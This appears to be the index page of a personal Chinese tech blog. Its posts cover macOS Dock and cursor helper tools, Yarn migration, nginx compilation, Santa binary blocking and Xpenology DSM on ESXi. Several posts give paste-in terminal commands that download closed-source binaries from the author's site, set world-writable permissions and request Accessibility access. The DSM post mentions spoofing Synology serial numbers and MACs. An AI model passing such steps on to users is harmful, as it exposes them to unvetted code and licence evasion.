优化macOS Dock栏的显示与隐藏

前言 我在全新macOS Tahoe 26系统并在外接显示器体验过程中,dock栏(中文名:程序坞,后续不再解释)中的应用保留比较少,同时dock栏大小调整的比较大,虽然看着很舒服了,但是所占的空间可不小,我希望dock栏能智能显示或隐藏,比如在使用非全屏大窗口应用(比如:系统设置,访达等)时(即窗口未与dock栏区域接触{只要窗口底边>=dock栏最上边的纵坐标就算接触})dock栏能自动显示,否则自动隐藏。在互联网中发现有个应用(intellidock)能基本满足我的需求,但它在我这个系统中不能正常工作(能自动隐藏,但不能自动显示),故本人写一个swift二进制程序来实现需求。 已知bug/macOS特性: (这其实并非我编写程序的bug,而是macOS特性,我有一些方法可以解决/完善,但都不够优雅(主要是有点复杂+懒),没想好怎么修算比较好) 在 Dock 显示状态下,当点击一个最小化的全覆盖屏幕窗口(minimized to Dock),macOS 会尝试让窗口不遮挡 Dock,所以系统会自动调整窗口位置,把它“挤”在 Dock 上方,下边界会被强制上移。 目前不足: (✅已优化,采用池管理)当前程序性能开销总体来说非常低了,但依然还有改进的空间,比如:避免频繁注册/卸载事件。 (✅已优化,采用私有API)采用AppleScript来控制 Dock 自动隐藏控制开销还是有点高 (目前没能力做.)无GUI可视化 (懒的搞.)目前只对单屏幕有优化模式 本程序优点: 速度非常快,性能开销非常低 命令行运行,支持不同的参数 兼容性极好,支持不同macOS 部署 建议懒人(比如我😂)使用此方式(自定义用户可作为参考). 将下面命令在 终端 中运行. 1 2 3 4 5 6 7 8 9 user=$(whoami); eval savepath="/Users/${user}/Documents/SmartDock";mkdir -p $savepath; download_path='https://lanyun.pages.dev/download_file/SmartDock'; urls=("${download_path}/SmartDock" "${download_path}/SmartDock运行状态切换.command"); for url in "${urls[@]}"; do wget -P "${savepath}" "${url}" || curl -L -o "${savepath}/$(basename "${url}")" "${url}" done sed -i '' "s/user=\$(whoami)/user='${user}'/g" "${savepath}/SmartDock运行状态切换.command";chmod -R 777 "${savepath}"; open "${savepath}" 启动或停止双击 SmartDock运行状态切换.command 文件即可. 备注: 你需要在 系统设置 中 隐私与安全性 中 辅助功能 中添加 终端 应用(需要给权限) 默认使用参数 --fast-pid :同一进程的不同窗口跳过聚焦切换处理,如果不需要请自行修改 SmartDock运行状态切换.command 脚本 如果下载失败,你可以选择通过代理下载或者将 lanyun.pages.dev 替换为 lanyundev.com 并在浏览器的无痕模式中进行下载。 手动在无痕模式文件下载链接:SmartDock SmartDock运行状态切换.command 可以手动验证一下一些文件的完整性,避免因网络缓存等原因导致与预期不符。 1 2 3 sha512sum * 32b444b5e8c055c7904961cc04a84e4858bf11b3b0be78f61a51cb82372b0a751fbe79fe7658ecf86cd0980f2258fef2bd47babb1c57460128f64a15cac75548 SmartDock cb79465313d4bfd41e28c8515d8368360caa8621f0b5b2e102f6fa81fb7ae6779fb6b6b1403dadb199d781f73ed76c497220989bafdc60b8410f962de49dea3c SmartDock运行状态切换.command 更新说明 优化不足1和2.

2025/7/27
articleCard.readMore

解决macOS全屏模式下某些情况显示原始鼠标指针的问题

前前言 本人技术又提高了一丢丢,已经会用更优雅更好地方式(通过 System Events 接口)来控制dock栏状态(而不是用defaults这种方式),可惜的是菜单栏依然不支持通过 System Events 接口来控制.目前代码有优化的空间(操作也能更优雅一些,还可以考虑写个GUI),但我懒+没空(先搁置),以后再优化. 前言 在macOS玩全屏(16:10比例,不是无边框)非纯原生游戏过程中遇到一个(其实后面更新说明还遇到一个)很难受的问题,在游戏将鼠标指针移动到屏幕上方菜单栏区域并点击后,鼠标指针会立刻出现并显示为macOS系统的鼠标指针,严重影响游戏体验。例如在通过CrossOver运行的Palworld(幻兽帕鲁),部分原生的League of Legends(英雄联盟)等游戏。本文主要通过一些曲线办法来解决。 曲线办法解释:通过脚本将 自动隐藏和显示菜单栏 状态设置为始终,由于macOS在这种状态下,你向上移动鼠标指针并停留依然会显示菜单栏并影响游戏,故我通过编写程序来阻止鼠标指针移动到屏幕顶端/处理鼠标指针触顶后的一些操作。 本人环境: macOS 15.5(文章发布时的macOS最新正式版,请看更新说明来支持macOS 26),M1 MAX(arm架构) 注:由于技术力有限(源代码写的过于丑陋),就不贴源代码了,仅提供可在Apple silicon(ARM架构)下运行的二进制文件(技术力提高,提高二进制兼容性,适配不同的macOS)。 关于程序实现方式,我是通过CGEventTap来处理鼠标的移动事件,这种实现方式在用户态实现且过程中开销有点大,我无力解决(IOHIDManager等更底层的实现的方式我不会),但要比我最开始用Hammerspoon写的lua脚本性能高多了(后面可以贴贴我这个lua脚本,写的很简洁) 关于菜单栏状态切换.scpt脚本,如果 自动隐藏和显示菜单栏 状态如果不为 永不,那么切换为 永不,否则切换为 始终(这是符合我的使用习惯的,如果需要请自行修改)。 另外,这个脚本和macOS其他版本大概率不兼容,我只在我当前版本测试通过,其他版本请自行修改代码。 注:非中文用户如果需要使用 简易版,则需要修改菜单栏状态切换.scpt文件(修改起来很简单,你只需要将文件中第23到26行中的中文替换为你本机上对应按钮的语言即可),因为我这个脚本是以我中文界面编写的。 为了方便想要自定义某些操作的用户,下面我将提供2种方式来介绍。 简易版 建议懒人(比如我😂)使用此方式(自定义用户也可作为参考). 将下面命令在终端中运行. 1 2 3 4 5 6 7 8 9 user=$(whoami);echo -n "${user}" | pbcopy eval savepath="/Users/${user}/Documents/MouseWall";mkdir -p $savepath; download_path='https://lanyun.pages.dev/download_file/MouseWall'; urls=("${download_path}/MouseWall" "${download_path}/MouseClick" "${download_path}/菜单栏状态切换.scpt" "${download_path}/游戏模式切换.sh" "${download_path}/游戏模式切换.shortcut"); for url in "${urls[@]}"; do wget -P "${savepath}" "${url}" || curl -L -o "${savepath}/$(basename "${url}")" "${url}" done sed -i '' "s/user=\$(whoami)/user='${user}'/g" "${savepath}/游戏模式切换.sh";chmod -R 777 "${savepath}"; open "${savepath}/游戏模式切换.shortcut" 点击 添加快捷指令 ,然后选中 游戏模式切换 右键选择编辑,然后选中这段文字 这里填你的用户名 ,然后右键点击粘贴,然后关闭窗口。 你需要在 系统设置 中 隐私与安全性 中 辅助功能 中添加 快捷指令 应用(需要给权限) 之后要运行,点击对应快捷指令右上角的运行即可。 注:如果你需要程序有高优先级(保证程序在游戏过程中能优先处理鼠标指针位置,我是建议这样做的),则需要在 快捷指令 中勾选 以管理员身份运行 ,同时还需要在 辅助功能 中添加 XPCServices/ShortcutsMacHelper.xpc ,如何添加?通过终端运行这个命令 open /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices 打开文件夹并选中 XPCServices/ShortcutsMacHelper.xpc 然后拖入 辅助功能 列表中,授权即可(macOS有bug,授权成功后在列表里面看不到),你还要将 MouseWall_Refactored 文件也拖入辅助功能 列表中。 如果下载失败,你可以选择通过代理下载或者将 lanyun.pages.dev 替换为 lanyundev.com 并在浏览器的无痕模式中进行下载。 自定义 懒得写了,简易版讲的很清楚了,会改的人我也不用多说,直接贴可能需要的文件下载链接 菜单栏状态切换.scpt 游戏模式切换.sh 游戏模式切换.shortcut MouseWall MouseClick MouseWall_Refactored MouseWall_Refactored_NoLimit 关于Hammerspoon写的lua文件(init.lua)如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 th = 5 evt = hs.eventtap.event types = hs.eventtap.event.types mouse = hs.mouse blockTap = hs.eventtap.new({ types.mouseMoved }, function(e) local loc = e:location() if e:location().y < th then e:setProperty(evt.properties.kCGMouseEventLocationY, th) return e end return false end) blockTap:start() 可以手动验证一下一些文件的完整性,避免因网络缓存等原因导致与预期不符。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 sha512sum MouseWall e1261c8f2e5fe2f728cb9886ebb377475ed5e0f5ac2c82bf19a841bc7df864bc714d871322ac9bb808bc8b016138ab6dbbdc2700e3d2887df61a15841f54f097 MouseWall sha512sum MouseWall_Refactored # 2538103b01a722094e9ceca101a66faffc3db0eb3fb3b12994203e1ef57e84949ab41347b032dae55ef6de9c6d9702ced9801352855f8c1ae3ab956bf5599424 MouseWall_Refactored sha512sum 菜单栏状态切换.scpt # e60d41dbda343cbd70428a9171934d42c0a524dca08aaced9e5693ac06c30f0df0795683037362d8d22b61032a0d037eae07db3d7a2933e3be03fa9925e511be 菜单栏状态切换.scpt sha512sum 游戏模式切换.sh # d7a1fd6d1e590bdca792371c4e3d688fdc1042680f49b1a1122f22bd439b8dffd7ab3057cb49502202f772f1326d2dc5563c42a6335936587561f4f2b675f484 游戏模式切换.sh sha512sum 游戏模式切换.shortcut # d985644f36f6abb31aaf804c853835444849167f609bda6cd8bd67ec5ea14a5356406a1a8d3dad0e443b6941cdadd6087ba024ded42d8546b7ce17828204a688 游戏模式切换.shortcut sha512sum MouseWall_Refactored_NoLimit # c4edec556edaca1656ee6f678cc50ba8245ef3626d2dea2460655982a7078e517aa6ee03cd839b10043235c846a61f7ba6975cd741efdb80be4e07244066f093 sha512sum MouseWall_Refactored_Debug # ac6e50c606dddd537d77cf9cd82ab56e34ea2d028f2d21ca04463605d0a49817f29afda55646052281691c7410d35e8138d166306176c8974edc42ed6b31e38d MouseWall_Refactored_Debug sha512sum MouseWall_Refactored.old # d7ac2e79a0aef99b1b59222bb99b8dc4ddc231ee9f8f5546e3a16d369a588f970a0241eb30c52ab041329b0c54d48017832a9fb86b94847e88498ea63c2fcae9 MouseWall_Refactored.old sha512sum MouseClick # 0881853152fcb834de57b9655c1848ec266039b83a7058d530cae3dec23a531fee88524f878c21010daf347aaf75b47162d6be1f71c6d06c9964acbfb8c1e8c4 MouseClick sha512sum old_MouseWall # af07bafa639a02ad391b7eb654059890c117f340f6772bff1713a3178789adc8faaecda84efaa1d225bde39d66f026ca47d1e2947ba5b4cf878a5b9aa89004b3 MouseWall 更新说明 目前顺序是由旧->新,如果你想看最新说明请从最后开始看 MouseWall 二进制文件已被弃用,因为存在一个严重问题,即在开放世界中无法将鼠标持续向上移动,因为这个程序会阻止鼠标指针触顶。 我重新编写一套处理方式,MouseClick 程序性能比较优秀,因为只处理鼠标指针点击事件,所以开销很小,逻辑:当发生鼠标指针点击事件时,判断纵坐标是否<=48px,如果是,则鼠标指针位置纵坐标+48px并在新位置发送点击事件,这样可以避免点击菜单栏,否则按照正常流程处理,这样实现也存在一个小问题,当鼠标指针点击位置在<=48px时,画面会立刻下移改变(我尝试过不移动鼠标指针位置,而只在新位置发送鼠标指针点击事件,但macOS系统不认定这种方式,会导致原生鼠标指针显示)。 我原本还有个折中的想法,即在没有触顶时,鼠标指针纵坐标即使<=48px也不进行移动,在触顶后,如果鼠标指针离开了菜单栏区域又重新回到菜单栏区域且鼠标指针没有触顶则不进行移动,但这样需要同时处理点击和移动事件,开销会多一点,而且我不想这样做,因为处理鼠标指针移动事件开销始终会多一些(然后不想去思考逻辑了,懒..)。好吧,我还是去做了,二进制文件名为MouseWall_Refactored,但CPU开销会比MouseClick多一些,建议低性能设备使用MouseClick,并修改游戏模式切换.sh脚本中对应的BINARY_PATH和PID_FILE变量值即可。 注:本程序只能缓解问题,并不能真正解决问题,问题是有可能在某些情况复现的,本人水平有限就先这样了吧。睡觉觉去咯~ 我注意到当鼠标指针按下后向底部移动再移出也会导致鼠标指针变原始的,故我更新了 游戏模式切换.sh 脚本文件(如果不需要请自行删除相关代码,我发现并不是在未隐藏dock栏的所有情况下都会出现此问题,故我注释掉了相关代码,不再作为默认处理,有需要则自行取消注释相关代码),能实现伪长久隐藏dock栏,通过defaults write com.apple.dock autohide-delay实现,但缺点是需要重启Dock进程,这会导致你最小化的窗口都会在前台显示,需要重新手动最小化(我觉得这是小事,小问题,也没想出好的自动化来处理这个),如果你想要点击Dock栏中某个项,但又不想关闭 游戏模式,那么你可以 control + 上箭头 来调出 调度中心(这个时候就会显示dock栏了)。注:需要在隐藏dock栏之后启动游戏(即需先切换为 游戏模式) 发现一个特性,在离开菜单栏区域后在菜单栏未消失前又再次进去且未触顶,然后鼠标指针的点击事件导致的原始鼠标指针显示。为什么会这样,我发现在 自动隐藏和显示菜单栏 为 始终 下,当前应用未全屏状态下,鼠标指针触顶显示菜单栏后,鼠标指针纵坐标y到达大约48px即可隐藏,但到了全屏应用中发现需要到达大约189px才会隐藏,故需要修改代码逻辑。但似乎并没有影响全屏游戏,故没有修改这方面代码。不过我又优化了一下代码逻辑,在鼠标指针触顶且未离开菜单栏区域中发生点击事件后会移动鼠标指针纵坐标y=49px,并在原位置发送点击事件,在下次手动移动鼠标指针时恢复为原位置移动。 目前程序已知缺陷(/特性): 在往上移动鼠标指针触顶且未离开菜单栏范围进行点击的话,虽然点击位置依然是原位置,但是画面会因为鼠标指针的移动而发生移动,再次移动鼠标指针,画面也会移动。目前只基于原生16英寸主显示器默认分辨率(1728x1117)做适配,未对外接显示器做适配,为避免对x<0或x>1728的外接显示器操作造成影响,已跳过处理。 在macOS 26 beta 2上,我重新分析了布局信息,你只需要将 菜单栏状态切换.scpt 文件中的 group 9 of scroll area 1 of group 1 of group 2 改为 group 1 of scroll area 1 of group 1 of group 3 即可在macOS 26上继续运行. 为满足对外接显示器用户的需求(其实是我😂),现增加二进制文件MouseWall_Refactored_NoLimit,不再对x轴做限制,如果要用管理员权限运行的话,别忘了给这个二进制添加辅助功能权限哦~ 提高二进制文件兼容性,性能优化和多显示器处理之后有空再搞,原始 MouseWall 二进制文件重命名为 old_MouseWall ,新版 MouseWall_Refactored_NoLimit 二进制名改为 MouseWall 并作为默认二进制使用. 备注: League of Legends(英雄联盟) 实际上点击不到菜单栏区域(因为游戏分辨率不支持macOS真全屏16:10),但是这游戏bug多的批爆,你需要先切换到无边框模式再切换回全屏才能不会显示原始鼠标指针。

2025/6/12
articleCard.readMore

Yarn从Classic迁移到Modern

前言 好久没写文章了,主要是懒,平时睡睡觉,吃吃饭就很舒服了,很早之前也换到过yarn Modern版,但遇到项目不兼容(nodeLinker: “pnp”),然后也没有了 yarn global ,就很不爽,只好老老实实一直用yarn经典版,在逛开源项目的时候,看到有些项目已经支持yarn modern的pnp nodeLinker了,然后忽然突发奇想,想到了一个曲线兼容办法,故写这篇文章用作记录📝。 本文的系统环境和相关信息(仅供参考): OS: macOS 15.4.1 24E263 arm64,Kernel: 24.4.0,CPU: Apple M1 Max Homebrew 4.4.32,通过brew安装的 yarn 1.22.22,node 23.11.0,zsh 5.9 迁移 有兴趣可参考官方文档:https://yarnpkg.com/migration/overview 我这里采用全局安装最新稳定版的方式,即和原来brew安装的yarn二进制文件位置不变 /opt/homebrew/bin/yarn,避免影响我某些脚本中写死了的yarn二进制路径(懒得改,我希望更新yarn版本但不希望对我其他代码或工具造成影响。) 1 2 3 brew remove yarn # 移除yarn corepack enable # 显式开启 Corepack 实验特性,激活 Corepack 功能 corepack install --global yarn@latest # 全局安装最新稳定版 这就代表安装完成了,下面演示在旧项目中的示例。 示例 1 2 3 cd xxx # 进入到你的某个旧项目路径下 yarn set version stable # 可选,有些项目package.json没有packageManager字段,影响不大。 yarn install # 安装依赖 当你在旧项目(有node_modules文件夹)中第一次使用新版yarn时,会保留原node_modules了,也会创建.yarnrc.yml文件,内容: nodeLinker: node-modules,意思是使用旧的链接方式,不会对原项目造成影响,如果你想尝试新版特性,将值改成pnp,再重新yarn install 即可(但项目大概率会崩,因为并不是所有老和新项目都兼容新版特性的,这一般情况下需要说明。),如果崩了,改回去方法同理。 兼容 如果你未曾使用过yarn global且以后也不需要用,则无需阅读本节内容 为了避免影响我系统中的一些工具或脚本对旧版yarn global路径的依赖,同时也为了方便使用并更新yarn全局软件,故采用曲线兼容的方式来实现(可惜不够优雅,但能吃到新版yarn特性还是挺不错的)。 注意:官方并不推荐使用全局安装,但我不想听它的建议,不想让它教我怎么管理软件包,至于说污染全局环境?可笑,你说污染就污染?我对PATH环境中的二进制路径把握是绝对的,每个路径我都清楚,至于说隐式依赖会造成问题?笑死,没人🙌比我👐更懂👌项目代码☝️,没有这个必要,真正懂项目代码的人会清晰的知道有哪些依赖,至于新版yarn完全把global删了的行为,我的评价是:纯纯傻逼,完全不提供可用选项。 新建脚本 1 2 3 open ~/.config/yarn/global # 打开这个文件夹,然后新建yarn-global.sh文件并打开 # 或者用如下命令 vim ~/.config/yarn/global/yarn-global.sh # 编辑此文件 向文件中粘贴下面这段代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/bin/bash # 获取当前脚本的实际路径 SCRIPT_PATH="$(readlink -f "$0")" SCRIPT_DIR="$(dirname "$SCRIPT_PATH")" # 切换到脚本所在的目录 cd "${SCRIPT_DIR}" # 参数存入数组 args=("$@") if [[ "${args[0]}" == 'dir' ]]; then echo "${SCRIPT_DIR}" && exit; elif [[ "${args[0]}" == 'upgrade' ]]; then args[0]='up' elif [[ "${args[1]}" == '--latest' ]]; then args[1]='' fi yarn "${args[0]}" ${args[1]} 保存后用命令给文件权限 1 2 chmod 777 ~/.config/yarn/global/yarn-global.sh # 其实给个执行权限+x就行了,但是为了方便就这样了。 echo -n ~/.config/yarn/global/yarn-global.sh | pbcopy # 顺便将绝对路径拷贝到剪贴板 新增命令 如果你的终端shell不是用的zsh,也可作参考(同理的)。 编辑~/.zshrc文件(不限定什么方式) 1 vim ~/.zshrc # 参考:用vim编辑 然后新增一行内容 1 alias yarn-global='xx' # 将xx替换为你剪贴板中的内容,也就是选中xx然后粘贴 保存,这样新开的终端就应用你的配置了,如果想让旧终端也应用,命令:source ~/.zshrc 如果你希望以后安装的全局包也能被识别,请参考下面代码 1 2 echo -n :~/.config/yarn/global/node_modules/.bin | pbcopy # 将绝对路径拷贝到剪贴板 vim ~/.zshrc # 重新编辑此文件 如果文件已有 export PATH= 之类的内容,那么在靠近最后一个引号的左边粘贴你的剪贴板内容即可 如果没有 1 export PATH="$PATHxx" # 将xx替换为你剪贴板中的内容,也就是选中xx然后粘贴 保存即可。 修改历史命令记录 如果想用的更丝滑,可以修改历史命令记录。 1 LC_ALL=C sed -i '' 's/yarn global /yarn-global /g' ~/.zsh_history # 将yarn global改成yarn-global 参考代码 交互式更新:yarn-global upgrade-interactive --latest (其实--latest是没必要的) 非交互式更新:yarn-global upgrade 安装包:yarn-global add xx 移除包:yarn-global remove xx

2025/4/24
articleCard.readMore

nginx自编译

前言 简单记录下,编译用到的一部分代码. 以下代码运行环境: ubuntu x86_64 依赖 1 2 sudo apt update && sudo apt upgrade && sudo apt autoremove sudo apt install -y build-essential ca-certificates zlib1g-dev libpcre3 libpcre3-dev tar unzip libssl-dev wget curl libtool git cmake ninja-build mercurial libunwind-dev pkg-config golang # 编译工具&依赖库 编译 brotli 压缩 1 2 3 4 5 6 git clone --depth=1 --recurse-submodules -j8 https://github.com/google/ngx_brotli cd ngx_brotli/deps/brotli mkdir out && cd out cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF -DCMAKE_C_FLAGS="-Ofast -march=native -mtune=native -flto -funroll-loops -ffunction-sections -fdata-sections -Wl,--gc-sections" -DCMAKE_CXX_FLAGS="-Ofast -march=native -mtune=native -flto -funroll-loops -ffunction-sections -fdata-sections -Wl,--gc-sections" -DCMAKE_INSTALL_PREFIX=./installed .. cmake --build . --config Release --target brotlienc cd ../../../.. openssl 1 2 3 4 5 6 7 git clone -b master --depth=1 https://github.com/openssl/openssl.git cd openssl ./Configure --prefix=/usr/src/openssl --openssldir=/usr/src/openssl make install ldconfig openssl version -a cd ../ ngx_security_headers 1 git clone --depth=1 --recurse-submodules https://github.com/GetPageSpeed/ngx_security_headers nginx 1 2 3 4 5 6 7 8 9 hg clone https://hg.nginx.org/nginx cd nginx make clean ./auto/configure --prefix=/etc/nginx --user=www-data --group=www-data --with-pcre --add-module=../ngx_brotli --add-module=../ngx_security_headers --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --with-http_v2_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --with-stream_realip_module --with-compat --with-threads --with-file-aio --with-http_ssl_module --with-http_gzip_static_module --with-http_gunzip_module --with-http_secure_link_module --with-http_stub_status_module --with-http_auth_request_module --with-http_slice_module --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-http_dav_module --with-http_v3_module \ --with-cc-opt="-I /usr/src/openssl/include" \ --with-ld-opt="-L /usr/src/openssl/lib64" make make install cd ../ 完成,可以删除这些文件夹,也可以不用删除,方便下次编译(记得git pull) tips: 如果在make install安装后想要卸载,命令:make uninstall

2024/4/19
articleCard.readMore

用santa对二进制进行监控和授权

前言 仅限macOS. 本文用到的项目: Santa 介绍: Santa是macOS的二进制和文件访问授权系统。它由一个系统扩展组成,用于监视执行情况,一个守护程序根据本地数据库的内容做出执行决策,一个图形用户界面代理用于在决策被阻止时通知用户,以及一个用于管理系统和将数据库与服务器同步的命令行实用程序。 它之所以被称为Santa,是因为它跟踪二进制文件的行为,判断它们是好还是坏。 本文会快速部署并演示阻止QQ的ScreenCaptureAgent二进制程序. 如果要了解更多或者看不懂本文,请移步 官方文档 部署 起手先前往 Releases 下载最新版,然后安装,然后打开然后点Dismiss. 然后下载这个 Santa.7z 压缩包再解压出来. 如果要方便控制规则,请排除中央管理配置文件. 已使用 MDM 解决方案 排除中央管理配置文件,一共有4个文件,然后安装4次就行了. 安装方法: 双击mobileconfig文件来安装描述文件. 然后前往 设置 -> 隐私与安全性 -> 描述文件 中,看着操作把它安装了. 未使用/看不懂 安装配置文件和通知设置文件夹中的配置文件,一共2个文件. 然后前往 设置 -> 隐私与安全性 -> 完全磁盘访问权限 勾选 com.google.santa.daemon.然后再打开Santa可看到如图所示 mobileconfig配置文件更多配置项可参考文档 检查状态 终端命令行运行 1 santactl status 输出了 Daemon Info 就没问题. 阻止 1 sudo santactl rule --block --path /Applications/QQ.app/Contents/Resources/app/ScreenCaptureAgent.framework/Versions/A/ScreenCaptureAgent Tips: 这里演示的是路径阻止,实际还有阻止方式,此处懒的写了. 检验 1 santactl fileinfo /Applications/QQ.app/Contents/Resources/app/ScreenCaptureAgent.framework/Versions/A/ScreenCaptureAgent --key Rule Tips: fileinfo 参数非常强大,远不止此功能,此处也懒的写了. 杂项 1 2 3 4 5 6 7 8 9 10 11 12 13 ls /var/db/santa # 可以看到规则,日志等文件,建议定时清理🧹避免占用过多磁盘空间 santactl help Usage: santactl: fileinfo - Prints information about a file. metrics - Show Santa metric information. printlog - Prints the contents of Santa protobuf log files as JSON. rule - Manually add/remove/check rules. status - Show Santa status information. sync - Synchronizes Santa with a configured server. version - Show Santa component versions. See 'santactl help <command>' to read about a specific subcommand. santactl help rule # 查看rule规则用法 命令运行结果示例: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 santactl help rule Help for 'rule': Usage: santactl rule [options] One of: --allow: add to allow --block: add to block --silent-block: add to silent block --compiler: allow and mark as a compiler --remove: remove existing rule --check: check for an existing rule --import: import rules from a JSON file --export: export rules to a JSON file One of: --path {path}: path of binary/bundle to add/remove. Will add the hash of the file currently at that path. Does not work with --check. Use the fileinfo verb to check. the rule state of a file. --identifier {sha256|teamID|signingID}: identifier to add/remove/check --sha256 {sha256}: hash to add/remove/check [deprecated] --json {path}: path to a JSON file containing a list of rules to add/remove Optionally: --teamid: add or check a team ID rule instead of binary --signingid: add or check a signing ID rule instead of binary (see notes) --certificate: add or check a certificate sha256 rule instead of binary --message {message}: custom message Notes: The format of `identifier` when adding/checking a `signingid` rule is: `TeamID:SigningID` Because signing IDs are controlled by the binary author, this ensures that the signing ID is properly scoped to a developer. For the special case of platform binaries, `TeamID` should be replaced with the string "platform" (e.g. `platform:SigningID`). This allows for rules targeting Apple-signed binaries that do not have a team ID. Importing / Exporting Rules: If santa is not configured to use a sync server one can export & import its non-static rules to and from JSON files using the --export/--import flags. These files have the following form: {"rules": [{rule-dictionaries}]} e.g. {"rules": [ {"policy": "BLOCKLIST", "identifier": "84de9c61777ca36b13228e2446d53e966096e78db7a72c632b5c185b2ffe68a6" "custom_url" : "", "custom_msg": "/bin/ls block for demo"} ]} 对于设备网络安全: 我目前是: 系统防火墙,阻止主动探测,Little Snitch 防火墙,阻止未手动添加的规则的流量,Proxifier 做前置代理,进行网络分流,adguard 做内容过滤,surge等工具做代理转发

2023/11/8
articleCard.readMore

ESXI 8.0安装黑群晖DSM 7.x

前言 水💦篇文章. 记录一下在一台软路由的esxi 8.0中安装黑群晖7.x过程. 用到的项目(已删库): https://github.com/wjz304/rr 原版项目: https://github.com/fbelavenuto/arpl 项目文档(已删除): https://github.com/wjz304/rr/blob/main/guide.md 由于某些原因,作者github库已全部删库.且限制传播. 故本文将限制CN用户访问. 基于ipfs的相关内容存档(时间截止2024-1-5): https://ipfs.io/ipfs/bafybeignagmtebkyph24zapvwpw7cwfemj53fx67lm7zsoxzudmjoj5viy https://nftstorage.link/ipfs/bafybeignagmtebkyph24zapvwpw7cwfemj53fx67lm7zsoxzudmjoj5viy 准备磁盘镜像 下载 先去下载Releases 64(已失效)最新版压缩包到本地,然后解压得到img文件. 转换 win用户用到的工具: StarWind V2V Converter (自行搜索相关用法) macOS: qemu-img (通过命令brew install qemu即可安装这个工具,前提已安装brew) 运行命令qemu-img convert -f raw -O vmdk rr.img rr.vmdk即可完成初步转换. 将rr.vmdk上传到esxi中某个目录中.然后在这个目录中用命令vmkfstools -i rr.vmdk rr-23.11.0.vmdk即可完成转换. 创建虚拟机 下面只说注意的点. 名称: 随便 系列: Linux 版本: 其他 4.x Linux (64 位) 注: 如果选择SA6400等型号的话(当然前提是兼容你的设备),应该为其他 5.x Linux (64 位) 可删掉CD驱动器,空出一个sata接口. 至少需要3个硬盘.第一个硬盘为现有硬盘及上面转换好的磁盘镜像rr-23.11.0.vmdk. 控制器可都改成 SATA (非强制) 关闭UEFI安全引导 安装DSM 启动虚拟机,可以看到,叫你在浏览器中访问的地址(http://ip:7681/),去访问. 然后先选择语言 zh_CN ,然后选择型号,可以先进行兼容性判断,看看哪些兼容. 然后选择型号,之后选择版本,编译引导. 如果有洗白SN/MAC,可在设置Cmdline中去设置. 然后启动. (嫌启动DSM内核倒计时长,可以去高级设置中设置) 安装之后的内容不再阐述. 补充内容 群晖各个型号之间有什么特色和区别: DS3622xs、DS3617xs、SA6400 DSM7.x版本开始都支持24个CPU线程,其它的大部分型号都最多只支持8个线程(DS918、DS920)或16个线程,如果你的CPU核心线程都多的情况下可能会有很多闲置核心,因为他们可能只调用8条线程。当然随着黑群晖系统的迭代更新可能这些限制会被开放. 通过群晖查询CPU支持多少线程(不一定准确): ssh连接群晖,输入下面命令 1 2 sudo -i # 输入密码,进入root账号 cat /proc/cpuinfo| grep "processor"| wc -l # 这个代表群晖在你的机器硬件上现在认出多少个CPU线程,Linux只认线程不是认多少核心. DS918+、DS920+这类官方硬件自带GPU的产品型号可以调用4-10代intel核显进行转码操作,可以减少低端型号转码时cpu的占用。但是11代开始因为群晖的linux内核非常老,并且升级版本基本就只制裁一下盗版,换换UI换个皮肤做做样子,最重要的内核几乎没升级过(DSM版本和内核没多大关系)。目前只有SA6400是5.1 linux内核,其它的型号都停留在4.4或更早的3.x内核,所以其它型号能驱动核显最多只能支持到intel10代。目前是有SA6400移植驱动的固件详情参考jim大佬博客 DT型号:统计截止到2023年1月 包含但不限于DS920+,DS923+, DS1520+, DS1621+, DS1821+, DS2422+,DVA1622, FS2500, SA6400。 DT的型号不支持SAS卡会在启动时导致kernel崩溃。未编译DT文件时硬盘顺序不会按着SATA卡标识的序号来,硬盘序号只会计算有插入的硬盘的插槽,例如两张4口SATA,就算你只在两张SATA卡最后一个口上插硬盘,只要你其它口不插硬盘,开机它也会显示硬盘序显示为硬盘1 硬盘2。并不会像非DTS型号一样显示硬盘4和硬盘8。但是他也有一个好处就是在普通引导下不会乱报SATA口错误。 DVA系列的型号自带Surveillance Station套件有8个摄像头授权,请不要手动到套件中心下载,装完系统之后联网自动下载 DVA3221是第一款支持NVIDAI独立显卡的型号,并且由此破解出了其它黑群晖型号的NVIDAI显卡驱动 详情查看矿神的博客 DVA1622是第一款带HDMI接口并且支持输出画面的群晖型号,但只能输出Surveillance Station的监控画面。 虚拟机下的小知识: DS923+开机速度是所有型号中最快的 DS3622xs+的装完占用空间最小 DS920+、DS918直通GPU的麻烦加蛋疼,就算弄好了也是问题一堆,还不如直接上软解型号。这两个型号比较合适核心不多(低于8线程)的物理机安装。 更多内容: https://www.mi-d.cn/1338 SSH 修改黑群晖的 SN 和 MAC (洗白)

2023/11/2
articleCard.readMore

openwrt编译过程记录

